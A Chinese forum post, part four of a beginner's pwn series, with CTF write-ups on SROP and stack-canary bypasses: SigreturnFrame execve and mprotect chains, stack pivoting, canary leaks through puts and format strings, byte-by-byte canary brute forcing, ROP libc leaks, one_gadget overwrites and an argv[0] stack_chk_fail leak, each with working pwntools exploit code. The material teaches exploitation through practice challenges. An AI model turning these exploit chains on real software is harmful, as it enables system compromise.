首页
社区
课程
招聘
[原创]新人PWN入坑总结(四)
2021-8-2 17:47 14921

[原创]新人PWN入坑总结(四)

2021-8-2 17:47
14921

话不多说,接上文


SROP0x08

一、360ichunqiu 2017-smallest

1.常规checksec,开了一个NX,没办法shellcode。IDA打开查看程序,找漏洞,有个屁的漏洞,只有一个syscall的系统调用,各种栈操作也没有。

2.观察这个系统调用,系统调用参数通过edx,rsi,rdi赋值,edx直接被赋值为400h,buf对应的rsi被rsp赋值,系统调用号fd对应的rdi被rax赋值。再查看汇编代码,有xor rax,rax,所以rax一定是0,那么这个syscall系统调用的就是read函数,读取的数取直接存入栈顶。由于buf大小为400h,且只有一个syscall,之后直接retn,没有leave指令,这就代表了rsp指向的地址就是我们执行完syscall后start函数retn的返回地址(pop eip)。也就是如果输入一个地址,读取完之后,通过retn就会跳转到该地址中。另外程序中除了retn之外没有其它对栈帧进行操作的指令,如果输入多个syscall地址,就可以反复执行syscall。并且最开始输入400h字节,程序流完全可控。

3.首先想到rop,但是题目没给Libc,并且通过调试发现,这个程序压根就没导入外部的Libc库,IDA中打开没有extern,完全没办法常规rop,那么想用SROP。远程调试一下查看堆栈数据,发现临时创建的smallest段数据没有可写权限,能够利用的只有[stack]栈数据。所以这里需要先泄露一个栈地址来让我们能够往栈中写入数据binsh从而调用execve(‘/bin/sh\x00’,0,0)来直接getshell。


4.之后观察栈上的数据,发现当运行到syscall时,rsp下方的内容全是栈上的地址。


rbp一直都是0x000......这是因为程序只有一个start函数,根本就没有为函数再次创建栈,所用的只是最初生成的栈空间。根据这个原理,我们可以通过系统调用sys_write函数,来打印rsp指向的内容,也就是某个栈地址,这样就成功泄露栈地址。

5.但是sys_write的调用号是1,而通过调试发现rax的初始值被默认设置为0,并且程序中没有任何修改rax的代码。唯一一个也只有xor     rax, rax,但是任何数和本身异或的结果都是0,所以如果程序每次都从这行代码执行,那么执行的系统调用号永远都是0,也就是会无限循环read。这里想到由于栈完全可控,并且输入一个地址,程序执行完这个地址对应的函数后retn会直接跳转到rsp的下一行。这里选择让程序再执行一次sys_read函数,之后我们为其中一次输入一个字节,并且这次返回不再从xor这行代码开始执行,从mov rsi, rsp开始。由于sys_read的返回值自动写回给rax(一般函数的返回值都会写给rax),所以读取几个字节read就向rax写入多少,这样就会使得rax也可以得到控制,不再被xor为0,调用我们想调用的系统函数。

6.所以编写payload:先尝试一下看能否泄露栈地址,test1.py

#注释头

payload = ""
payload += p64(start_addr)
payload += p64(set_rsi_rdi_addr)
payload += p64(start_addr)
#泄露栈地址之后返回到start,执行下一步操作。
io.send(payload)
sleep(3)
io.send(payload[8:8+1])

#利用sys_read随便读取一个字符,设置rax = 1,由于retn关系,rsp下拉了一个单位,所以这里会读入到原先的rsp+0x8处,也就是从原先的Payload中第8个字符开始,抽取一个字符,就是set_rsi_rdi_addr的最后一个字节,为了不改变返回地址。如果写成:io.send(‘\xb8’)效果一样,都是为了不改变返回地址。之后再执行set_rsi_rdi_addr从而执行write函数,

#注释头

stack_addr = u64(io.recv()[8:16]) + 0x100
#从最初的rsp+0x10开始打印400字节数据,那么从泄露的数据中抽取栈地址,+0x100防止栈数据过近覆盖
log.info('stack addr = %#x' %(stack_addr))

7.这里可以看到成功泄露了一个栈地址,但是不能再用简单读入binsh字符串之后设置SigreturnFrame结构体来getshell,因为这里设置读入地址是通过rsp设置的。如果将rsp设置为我们想读入binsh的栈地址,那么肯定是可以读入binsh字符串的,但是当程序运行到retn时,跳转的是binsh这个地址,这是不合法的,没办法跳转,程序会崩溃。

这里就考虑使用SigreturnFrame()来进行栈劫持,将整个栈挪移到目的地。

(1)首先布置SigreturnFrame()的栈空间,进行栈劫持:

#注释头

frame_read = SigreturnFrame() 
#设置read的SROP帧,不使用原先的read是因为可以使用SROP同时修改rsp,实现stack pivot
frame_read.rax = constants.SYS_read        #调用read读取payload2
frame_read.rdi = 0                         #fd参数
frame_read.rsi = stack_addr                #读取payload2到rsi处
frame_read.rdx = 0x300                     #读取长度为0x300
#读取的大小
frame_read.rsp = stack_addr                #设置SROP执行完的rsp位置
#设置执行SROP之后的rsp为stack_addr,里面存的是start_addr,retn指令执行后从start开始。
frame_read.rip = syscall_addr              #设置SROP中的一段代码指令

(2)发送payload。

#注释头

payload1 = ""
payload1 += p64(start_addr)        #读取payload[8:8+15],设置rax=0xf0
payload1 += p64(syscall_addr)      #利用rax=0xf0,调用SROP
payload1 += str(frame_read)
io.send(payload1)
sleep(3)
io.send(payload1[8:8+15])
#为rax赋值为0xf0
sleep(3)

程序运行SROP过程中,会执行read函数,将payload2读取到stack_addr处,所以当程序运行完SROP后,栈顶rsp被劫持到stack_addr处,同时stack_addr上保存的内容是payload2,首地址是start,所以retn执行后仍旧从start开始。

(3)设置第二次的SigreturnFrame攻击:

#注释头

frame_execve = SigreturnFrame()
#设置execve的SROP帧,注意计算/bin/sh\x00所在地址
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108
frame_execve.rip = syscall_addr

这里的0x108是计算出来的,需要计算从stack_addr到rdi,也就是binsh字符串的距离。由于传进去的是结构体,大小为0xf8。前一个例子中binsh字符串是放在str(frameExecve)之前,所以没有那么大。这里却是放在str(frame_execve)之后,所以从stack_addr为起始,start_addr,syscall_addr,frame_execve),总共为0xf8+0x08*2=0x108,这里不太懂可以调试一下看看。也就是再一次start_addr读取字符串binsh的位置。

8.发送payload,读取binsh字符串,getshell:

#注释头

payload2 = ""
payload2 += p64(start_addr)          #处在stack_addr处,读取payload[8:8+15],设置rax=0xf0
payload2 += p64(syscall_addr)        #处在stack_addr+0x08,利用rax=0xf0,调用SROP
payload2 += str(frame_execve)        #处在stack_addr+0x10
payload2 += "/bin/sh\x00"            #处在stack+0x108处
io.send(payload2)
sleep(3)
io.send(payload2[8:8+15])
sleep(3)
io.interactive()

9.尝试使用mprotect为栈内存添加可执行权限x,从而shellcode来getshell。

(1)第一段的劫持栈和读取payload2进入劫持栈处都是一样的

#注释头

frame_read = SigreturnFrame()            #设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr
#读取payload2,这个stack_addr地址中的内容就是start地址,SROP执行完后ret跳转到start
frame_read.rip = syscall_addr

(2)第二段需要调用mprotect来修改权限:

#注释头

frame_mprotect = SigreturnFrame()
#设置mprotect的SROP帧,用mprotect修改栈内存为RWX
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
#权限为R,W,X
frame_mprotect.rsp = stack_addr
#劫持栈地址rsp
frame_mprotect.rip = syscall_addr

(3)最后的shellcode:

#注释头

payload2 = ""
payload2 += p64(stack_addr+0x10)               #处在stack_addr
#SROP执行完后,ret到stack_addr+0x10处的代码,即执行shellcode
payload2 += asm(shellcraft.amd64.linux.sh())    #处在stack_addr+0x10
io.send(payload2)
sleep(3)
io.interactive()

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

 



二、pwnable.kr-unexploitable

1.常规checksec,只开启了NX。IDA打开找漏洞,程序很简单,读入数据栈溢出,可以读取1295个字节,但是buf只有0x10h大小,所以可以溢出足够长的数据。

2.程序没有后门,没有导入system函数,没有binsh字符串,也没有write、put、printf之类的可以泄露libc的函数,没办法ROP,然后ROPgadget也搜不到syscall。这里换用另一种工具ropper来搜索:ropper --file=unexploitable --search "syscall",可以搜到一个。有了syscall,可以尝试用rop来给寄存器赋值然后开shell,但是这里还是搜不到给rsi,rdi等寄存器赋值的gadget,这就意味着我们也没办法直接通过ROP实现getshell。

3.如果没有开NX,直接栈劫持然后shellcode就完事了,但是开启了NX,没办法shellcode。

4.啥也不管用的时候,可以用SROP,也就是通过syscall再利用SigreturnFrame来设置寄存器rsi和rid的值,加上字符串binsh可以直接getshell,不用非得设置rsi,rdi寄存器值的rop。但是这里使用SigreturnFrame有限制,需要溢出的长度较长一些,32位下需要依顺序布置栈,64位条件下需要往栈中布置一个结构体,所以需要输入足够长的payload来修改。

5.这里使用的方案是SigreturnFrame,先考虑一段足够长的可修改的内存地址来给我们存放栈劫持的内容。但是在IDA中按ctrl+s查看内存段,发现所有的可改可读的内存段都特别小,没办法存放足够长的溢出内容。这里忽略了一个知识点,临时创建的缓存:也就是我们使用read(0, &buf, 0x50FuLL);时,会临时创建一个长度为0x50F的缓存区间,这个区间足够满足我们的需求,但是在IDA中找不到,那就没办法栈劫持到这个位置。这里可以先动态调试一下,由于没有开启PIE,程序加载后的基地址是固定的,所以无论程序加载多少次,地址仍然不会发生改变。那么转向动态调试,可以看到程序冒出来一个可读可写的内存段:unexploitable,这个就是临时创建的一个缓存区间,长度为F88,足够用来执行操作。

6.在这个区间上任意选取一个地址来栈劫持,这里选择0x60116c,然后编写payload,尝试能否成功栈劫持并且读入binsh:

#注释头

payload = ""
payload += 'a'*16               #padding
payload += p64(fake_stack_addr)
#main函数返回时,将栈劫持到fake_stack_addr处,第一次将使得rbp变为fake_stack_addr, rbp + buf为fake_stack_addr - 0x10
payload += p64(set_read_addr)   
#汇编指令为lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read的地址处
io.send(payload)

这样接下来如果再输入binsh字符串,就可以读取到[rbp+buf]处。需要注意的是,这里的set_read_addr是从下图最开始跳转,如果直接跳转call read,那么就会由于read取参是edx,rsi,edi,从而导致数据会存入rsi指向的地址,没办法存到我们劫持的栈中。观察read函数汇编代码可以知道,虽然read存入的地址是rsi,但是rsi是通过rbp+buf来赋值的,所以我们可以通过修改rbp为fake_stack,使得rbp+buf的地址变为fake_stack上的某个地址,再执行下图中的代码,就可以使得read读取的内容直接进入到劫持栈rbp+buf上,也就是fake_stack上。

7.栈劫持完成之后,考虑第二段的payload,也就是输入binsh字符串和后续内容,来执行SigreturnFrame,使用:

#注释头

payload = ""
payload += "/bin/sh\x00"

输入字符串binsh,存放在fake_stack_addr-0x10处

#注释头

payload += 'a'*8 #padding
payload += p64(fake_stack_addr+0x10)#存放在0x60116c处

读取完之后,执行leave指令之前的栈底为0x60116c,而leave指令相当于:mov rsp rbp;和pop rbp:

(1)第一条mov rsp rbp之后,0x60116c就被赋值给rsp,也就是rsp指向0x60116c。

(2)第二条pop rbp之后,把0x60116c处的内容赋值给rbp,这里设置0x60116c处的内容为fake_stack_addr+0x10,也就是0x60117c,那么rbp指向0x60117c。rsp下挪一个单位,指向0x60116c+0x08=0x601174。

故leave指令执行完后rsp = 0x601174,rbp = 0x60117c。

▲这里这么设置是有原因的,为了挪动rsp来指向0x601174。

#注释头

payload += p64(call_read_addr)        #存放在0x601174
#存放在0x601174处,为了之后再次调用read修改rax。

接着执行retn指令,相当于pop eip,此时的rsp指向 0x601174,所以我们需要将0x601174处的值变为read_addr的地址,也就是这条语句,这里设置read_addr为0x400571,也就是带有call指令的read。

注释头

payload += p64(fake_stack_addr)#存放在0x60117c,这里可以随便设置,用不到

retn指令之后就是call指令,各种寄存器的值还是没变,所以照常用就行,回来之后rsp仍旧指向0x60117c。此时栈状态为:

rsp = 0x60117c,rbp = 0x60117c。

#注释头

payload += str(frameExecve)#设置SigreturnFrame结构体

io.send(payload)
#set_read处的读取

sleep(3)


io.send('/bin/sh\x00' + ('a')*7) 
#call_read处的读取。

读取15个字符到0x60115c,目的是利用read返回值为读取的字节数的特性设置rax=0xf,注意不要使/bin/sh\x00字符串发生改变。

最后io.interactive()即可getshell。

▲总的程序流应该是:首次read->set_read->call_read->syscall

结构体的设置,固定模式:

#注释头

frameExecve = SigreturnFrame() #设置SROP Frame
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = binsh_addr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscall_addr

开头设置:

#注释头 

syscall_addr = 0x400560 
set_read_addr = 0x40055b 
read_addr = 0x400571 
fake_stack_addr = 0x60116c 
binsh_addr = 0x60115c

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



Canary绕过0x09

一、CSAW Quals CTF 2017-scv

1.常规checksec,开启了NX和Canary。打开IDA发现程序两个漏洞:

(1)功能1中栈溢出:

#注释头

char buf; // [rsp+10h] [rbp-B0h]
--------------------------------------
v25 = read(0, &buf, 0xF8uLL);

(2)功能2中输出字符串:puts(&buf);

注:这里的put和printf不是同一个概念,不是格式化字符串的函数。但是由于put是直接输出我们的输入,而我们的输入被保存在main函数栈上,所以可以输入足够多的数据连上canary,利用put一并打印出来,从而把canary泄露出来。

2.调试,IDA中观察位置,计算偏移,可以知道偏移为0xB0-0x8=0xA8=168个字符,(canary通常被放在rbp-0x08的位置处,当然也不一定,最好还是调试一下)这样就可以构造第一个payload:payload1 = ”A”*168 + “B”。

这里再加一个B是因为canary的保护机制,一般情况下canary的最后两位也就是最后一个字符都是\x00,由于是大端序,所以可以防止不小心把canary泄露出来。因为上一个栈内存的最后第一个字符连接的是下一个栈内存的第一个字符,也就是canary中的\x00,而打印函数默认00是字符串的结尾,所以这里如果输入”A”*168,那么打印出来的就只会是168个A,不会将canary带出来。所以我们再加一个B,覆盖掉canary在占内存的第一个字符00,从而能够连接上成为一个完整的字符串打印出来。但又由于是大端序,泄露出来的canary应该最后一个字符是B,对应\x42,这里需要修改成\x00从而获得正确的canary。同理,如果随机化的canary中含有\x00,那么仍然会导致字符串截断,无法得到正确的canary。所以其实如果多执行几次,碰到包含\x00的canary,就会导致程序出错。

泄露加修改:canary = u64('\x00'+io.recv(7))

3.之后就可以利用canary的值和栈溢出,调用put函数打印其它函数的实际地址。这里程序使用了read函数,并且同时外部调用了read函数,可以通过输入read的.got表的值,使其打印read函数的真实地址。同时需要注意的是,由于是64位程序,传参是从rdi开始,所以栈溢出的第一个返回地址应该给rdi赋值才对,编写payload1。

#注释头

payload1 = ""
payload1 += "A"*168 #padding
payload1 += p64(canary) #在canary应该在的位置上写canary
payload1 += "B"*8 #这一段实际上是rbp的位置
payload1 += p64(pop_rdi)   
#跳转到pop rdi;retn;所在语句(可以通过ROPgadget查询),来给rdi传入read函数的got表中的地址。
payload1 += p64(read_got) #被pop rdi语句调用,出栈
payload1 += p64(puts_plt)
#retn到put函数的plt表,调用put函数。
payload1 += p64(start)
#调用之后,返回程序最开始,恢复栈帧,再执行一遍程序

这样就可以得到read的实际地址,从而通过libc库计算偏移地址得到基地址。

5.现在有了libc库的基地址,观察main函数退出时的汇编代码:mov     eax, 0可以使用在2.24libc库条件下可以使用onegadget。

6.直接计算onegadget偏移,然后覆盖main函数的返回地址,getshell。

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

 


二、insomnihack CTF 2016-microwave

1.常规checksec,程序全部开启保护,并且有canary保护,从IDA中汇编代码和伪代码也可以看到:

(1)汇编代码:

①生成canary的代码:一般在函数初始化的时候就可以看到

#注释头

mov rax,fs:28h
mov [rsp+28h+var_20], rax

②校验:

#注释头

mov rax, [rsp+28h+var_20]
xor rax, fs:28h
jnz short func

(2)伪代码:

#注释头

v_canary = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v_canary;

有很多种形式,如下也是一种:

2.之后查找漏洞,找到两个漏洞:

(1)功能1的sub_F00函数中的printf存在格式化字符串漏洞:

#注释头

__printf_chk(1LL, a1);

这里的1LL不知道是个什么意思,但是实际效果仍然相当于是printf(a1),调试中可以知道。

(2)功能2的sub_1000存在栈溢出漏洞:

#注释头

__int64 v1; // [rsp+0h] [rbp-418h]
------------------------------------------------------
read(0, &v1, 0x800uLL);

3.现在是保护全开,栈溢出漏洞因为canary的关系没办法利用,唯一能利用的只有一个printf()函数,而且还没办法劫持got表,没办法进行完全栈操控。所以这里就想能不能通过printf函数泄露canary从而使得栈溢出这个漏洞派上用场。

4.首先调试,观察canary在栈上的偏移位置,调试断点下在sub_F00函数的printf函数上,因为这个sub_F00函数中也有canary的保护,那么该函数栈上一定存在canary的值。自己调试如下图:

IDA调试界面点击对应生成canary的代码mov   [rsp+28h+var_20], rax中的[rsp+28h+var_20]就可以知道canary的位置应该是rsp+8h处,这里也可以看出来V6就是canary

另外由于这是64位程序,取参顺序是rdi, rsi, rdx, rcx, r8, r9, 栈,由于printf()前两个参数位rdi,rsi对应的是fd和&buf,

这里的buf就是我们输入的username,因为username的输入保存在堆上main函数中有声明:

#注释头

void *v4; // r12
----------------------------------------------------------------
v4 = malloc(0x3EuLL);
-------------------------------------------------------------------
fwrite(" username: ", 1uLL, 0x15uLL, stdout);
fflush(0LL);
fgets((char *)v4, 40, stdin);
--------------------------------------------------------------------
fwrite(" password: ", 1uLL, 0x15uLL, stdout);
fflush(0LL);
v3 = 20LL;
fgets((char *)v4 + 40, 20, stdin);
------------------------------------------------------------------------
sub_F00((__int64)v4);
--------------------------------------------------------------------
unsigned __int64 __fastcall sub_F00(__int64 a1)
-------------------------------------------------------------------
__printf_chk(1LL, a1);

下图是没有打印之前的内容:

我们可以看到rsi的值是5开头的,这其实就是一个堆内存地址,调试过程中输入跳转就可以看到该地址对应的内容就是我们的输入username的值。那么输入username时输入多个%p,触发格式化字符串漏洞,打印寄存器和栈上的内容,泄露出libc地址和canary。printf()依次根据%p打印的参数顺序是rdx,rcx,r8,r9,栈。所以r9之后第一个打印出来的数据是rsp-8h,也就是canary的值,这样就可以得到泄露的canary的值,从而控制栈溢出。同时我们可以发现打印出来的数据中包含libc中的函数,这样同时也泄露出来了libc加载后的地址,之后通过偏移计算出基地址。

5.之后进行栈溢出操控,但是这里如果连不上账户会没办法使用sub_1000函数,用IDA查看可以看到在sub_f00函数中对密码进行检查,可直接查看到密码:

这个off_204010就是密码,点进去就可以看到。

由之前步骤可以得到canary和libc基地址。查询之后可以发现由于retn前会检查canary,对应汇编代码是:

xor rax, fs:28h

那么如果canary输入成功,xor之后会使得rax一定为0,满足该libc库的Onegadget条件,所以这里可以直接使用Onegadget:

#注释头

payload = "A"*1032 #padding
payload += p64(canary) #正确的canary
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157


三、NSCTF 2017-pwn2

1.常规checksec,开启了NX和canary,IDA打开找漏洞,sub_80487FA()函数中存在两个漏洞:

(1)格式化字符串漏洞:

#注释头

s = (char *)malloc(0x40u);
sub_804876D(&buf);
sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s)

(2)栈溢出漏洞:

#注释头

read(0, &buf, 0x100u);

2.由于canary的关系,栈溢出没办法利用,但是这里可以通过格式化字符串漏洞直接泄露canary,之后再实际操作。这里为了学习爆破canary的方式,先用爆破的方式来获取canary。

3.如果直接爆破canary,由于canary随机刷新,就算去掉最后一个字节\x00,在32位条件下我们假定一个canary的值,那么canary随机生成为我们假定的值的概率应该为1/(2^24-1)所以从概率上讲应该需要爆破2^24-1次,也就是16,777,215-1次,而且还只是概率上的期望值,如果不考虑canary的实际生成机制,并且运气不好的话,可能无穷大,等爆出来黄花菜都凉了,这鬼能接受。所以一般使用爆破canary都需要一个fork子进程。

4.子进程的崩溃并不会影响到父进程,并且由于子进程的数据都是从父进程复制过来的,canary也一样,只要父进程不结束,子进程无论崩溃多少次其初始化的数据还是父进程的数据,canary就不会发生改变,这样就为快速爆破canary创造了前提。刚好这个程序有fork一个子进程:

(1)观察汇编代码:

main函数主体中先call fork,由于函数的结果基本都是传给eax,所以这里的eax就代表fork的成功与否,返回ID代表fork成功,然后将调用结果赋值给局部变量[esp+1ch],之后拿0与局部变量[esp+1ch]比较。这里涉及到JNZ影响的标志位ZF,CF等,不细介绍。总而言之就是会fork一个子进程,成功就跳转到我们之前说过的有漏洞的函数中,失败则等待,一会然后依据while重开程序。

(2)观察伪代码也可以

▲fork机制:

1)在父进程中,fork返回新创建子进程的进程ID;

2)在子进程中,fork返回0;

3)如果出现错误,fork返回一个负值;

5.爆破canary原理:

(1)最开始我认为就算canary不变,那么从0*24开始尝试,一直到canary的值,那么需要尝试canary值这么多次,最少1次,最多2^24次,就算取期望,那也应该是(1/2)*(2^24)次。也没办法接受啊。

(2)之后看了canary的检查机制和生成机制:在sub_80487FA汇编代码中:

生成的时候是将栈上指定地方[ebp+var_C]给修改成canary。

检查的时候,是从栈上取[ebp+var_C]的值传给eax和最开始随机生成的canary(large gs:14h)来比较,所以当我们用栈溢出的时候,我们可以只溢出一个字节来修改[ebp+var_C]的第1个字节,(第0个字节是\x00),然后启动检查机制。由于只修改了栈上[ebp+var_C]的第1个字节数据,第3,2个字节仍然还是之前被保存的canary的值。所以我们获取第1个字节需要尝试最少1次,最多2^8次,平均(1/2)*(2^8)次,也就是128次,可以接受。之后将爆破成功的第1个字节加到栈溢出内容中,再溢出一个字节修改[ebp+var_C]上的第2个字节,同理,完成爆破需要128次,总的来说平均需要128*3=384次,完全可以接受。

(3)爆破一般形式程序,两个循环:

#注释头

for i in xrange(3):
for j in xrange(256):

6.之后不同程序不太一样,有的程序没有循环,是直接fork一个子进程,监听其它端口,这时候只要连接该端口就可以进行爆破,失败了关闭端口就是。

有的程序只是在程序中fork一个子进程,但是有循环,那么我们就需要在循环里跑出来canary。然后直接进行下一步payload,不然断开连接的话,程序又重新生成canary,等于没用。

7.总结一下,程序最开始需要输入Y,然后跳转到有漏洞的函数sub_80487FA中,之后可以获取输入name,这里的输入的name在下一条[*] Welcome to the game之后会被打印出来,并且打印的方式存在格式化字符串漏洞。所以可以通过调试,输入%p来获取栈上的指定的libc地址内容,泄露libc从而获取libc基地址。

8.由于每次子程序崩溃后都会从头开始,都需要再输入Y和name,那么直接将该段泄露代码放在爆破循环中即可:

canary = '\x00'
for i in xrange(3):
    for j in xrange(256):
        io.sendline('Y')
        io.recv()
        io.sendline('%19$p') #泄露栈上的libc地址
        io.recvuntil('game ')
        leak_libc_addr = int(io.recv(10), 16)

        io.recv()
        payload = 'A'*16 #构造payload爆破canary
        payload += canary
        payload += chr(j)
        io.send(payload)
        io.recv()
        if ("" != io.recv(timeout = 0.1)): 
        #如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
            canary += chr(j)
            log.info('At round %d find canary byte %#x' %(i, j))
            break

 

9.爆破结束后,得到libc基地址,canary,以及一个可以利用的栈溢出,程序循环从最开始。那么利用栈溢出返回到system函数,由于32位程序,栈传参,那么可以提前布置好栈,使得system函数直接从我们布置的栈上读取binsh字符串,直接getshell。

#注释头

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System_address:%#x,binsh_addr:%#x'%(system_addr,binsh_addr))

payload = ''
payload += 'A'*16
payload += canary
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC'
payload += p32(binsh_addr)

io.sendline('Y') #[*] Do you love me?
io.recv()
io.sendline('1') #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload) #[*] Input Your Id: 漏洞产生点
io.interactive()

 

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157



四、32C3 CTF-readme

1.常规checksec,开了NX,Canary,FORTIFY。然后IDA找漏洞,sub_4007E0函数中第一次输入名字时存在栈溢出:

#注释头

__int64 v3; // [rsp+0h] [rbp-128h]
--------------------------------------------------------------------
_IO_gets(&v3)

2.研究程序,有数据byte_600D20提示,点进去提示远程会读取flag到这个地方,由于这里有Canary和栈溢出,那么我们直接利用Canary的检查函数___stack_chk_fail来泄露程序中byte_600D20处的flag。

3.前置知识:

(1)libc2.24及以下的___stack_chk_fail函数检查到canary被修改后,会在程序结束时打印* stack smashing detected ”:[./readme.bin] terminate。这里红色的部分就是程序名字,程序初始化时就会读入存储到argv[0]这个参数里面。

(需要注意的是,程序最开始读入的是程序的pwd绝对路径,类似于/home/ctf/readme.bin,之后会在___stack_chk_fail函数中对argv[0]中保存的字符串进行拆解,从而只打印出程序名字)

(2)由于argv[0]参数是main函数的参数,程序初始化时就存储在栈上的较高地址处,我们的输入肯定是在main函数及以后的函数栈中,基本都处于较低地址处,所以一旦栈溢出足够,那么就可以覆盖到argv[0],从而将___stack_chk_fail函数打印程序名字的地方覆盖成我们想要知道的某个地址中的值,这里也就是flag,byte_600D20。

4.所以进行足够长度的覆盖,将argv[0]覆盖为0x600d20,但是由于以下函数

#注释头

byte_600D20[v0++] = v1;
--------------------------------------------------------------------------
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

即使我们覆盖掉了argv[0],那么打印出来的也不会是flag。这里需要用到另一个知识点:

▲动态加载器根据程序头将程序映射到内存,由于程序没开PIE,所以各段的加载地址均已经固定,flag位于0x600D20,处于第二个LOAD中,会被映射到内存中的第一个LOAD中,所以0x600D20处的flag即使被覆盖,那么第一个LOAD中的flag依然存在。所以这里选择将argv[0]覆盖为第一个LOAD中的flag。

第一个LOAD中的flag寻找方法,peda可以查找到:

5.现在考虑寻找argv[0]的位置,由于最开始读取的是pwd绝对路径,所以利用这个来寻找,将断点下在b *0x40080E,这里我的绝对路径是/ctf/AAAAAAAA:

上图中画红线的两段都有可能是,都尝试一下,可以知道相差536字节,也就是第一条红线才是正确的。

简单方法:直接用pwndbg>p &__libc_argv[0]

6.尝试编写payload:

#注释头

payload = ""
payload += "A"*0x218
payload += p64(flag_addr) #覆盖argv[0]

却发现没办法打印出来,连*** stack smashing detected ***都没办法接受到,那么肯定是远程的环境变量将stderr错误输出流设置为0,只打印在远程本地。这里用socat搭建一下,可以验证出来,远程本地上能打印出来:

*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

7.那么如果想通过该方法获取远程打印的flag,就需要将远程的环境变量stderr设置为1,也就是LIBC_FATAL_STDERR_=1。那么如何修改远程的环境变量呢,可以再通过gdb调试,输入stack 100:

这里的536就是所在argv[0],再看下下面的一些数据,552,556都是环境变量,那么在远程肯定是需要调用的,这里选择修改552处的环境变量。那么之后又如何将LIBC_FATAL_STDERR_=1传过去呢?这里就想到程序有第二个输入,本来用来覆盖0x600D20的就可以被利用了。通过第二次输入将LIBC_FATAL_STDERR_=1传过去,保存在0x600D20前面部分,之后将552处的内容修改为0x600D20,这样环境变量就被更改了。

8.总Payload:

#注释头

payload = ""
payload += "A"*0x218
payload += p64(0x400D20) #覆盖argv[0]
payload += p64(0)
payload += p64(0x600D20) #覆盖环境变量envp指针

9.发送完payload后再发送LIBC_FATAL_STDERR_=1就可以将flag打印在本地了。

 

参考资料:

比较多,网上不太全,这个比较全

https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200

 



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回